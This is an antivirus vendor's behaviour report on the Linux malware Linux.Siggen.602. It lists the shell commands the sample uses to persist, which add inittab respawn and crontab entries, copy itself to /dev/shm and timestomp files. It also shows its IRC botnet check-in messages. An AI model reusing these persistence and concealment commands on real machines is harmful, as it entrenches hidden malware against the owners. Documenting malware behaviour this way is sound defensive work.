Linux.Siggen.602

Linux.Siggen.602

Added to the Dr.Web virus database: 2018-05-17

Virus description added: 2018-05-16

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Modifies router settings:

Launches processes:

sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"*/5 * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
cat /etc/inittab
crontab -l
grep <SAMPLE_FULL_PATH>
grep -v <SAMPLE_FULL_PATH>
sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
sh -c cat /etc/inittab2 > /etc/inittab
crontab -
cat /etc/inittab2
sh -c rm -rf /etc/inittab2
rm -rf /etc/inittab2
sh -c touch -acmr /bin/ls /etc/inittab
touch -acmr /bin/ls /etc/inittab
sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
sh -c /bin/uname -n
sh -c nvram get router_name
/bin/uname -n
cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
grep -v /dev/shm/<SAMPLE>
sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
grep /dev/shm/<SAMPLE>

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Locks files:

Network activity:

Awaits incoming connections on ports:

Connects to the following servers over the IRC protocol:

Server: 18#.#1.149.22; Command: NICK A6|0|9242554|unknown\nUSER muhstik localhost localhost :muhstik-11052018\n
Server: 18#.#1.149.22; Command: PONG :A68F16CC\n
Server: 18#.#1.149.22; Command: MODE A6|0|9242554|unknown -xi\n
Server: 18#.#1.149.22; Command: JOIN #8eaabff53d :8974\n
Server: 18#.#1.149.22; Command: WHO A6|0|9242554|unknown\n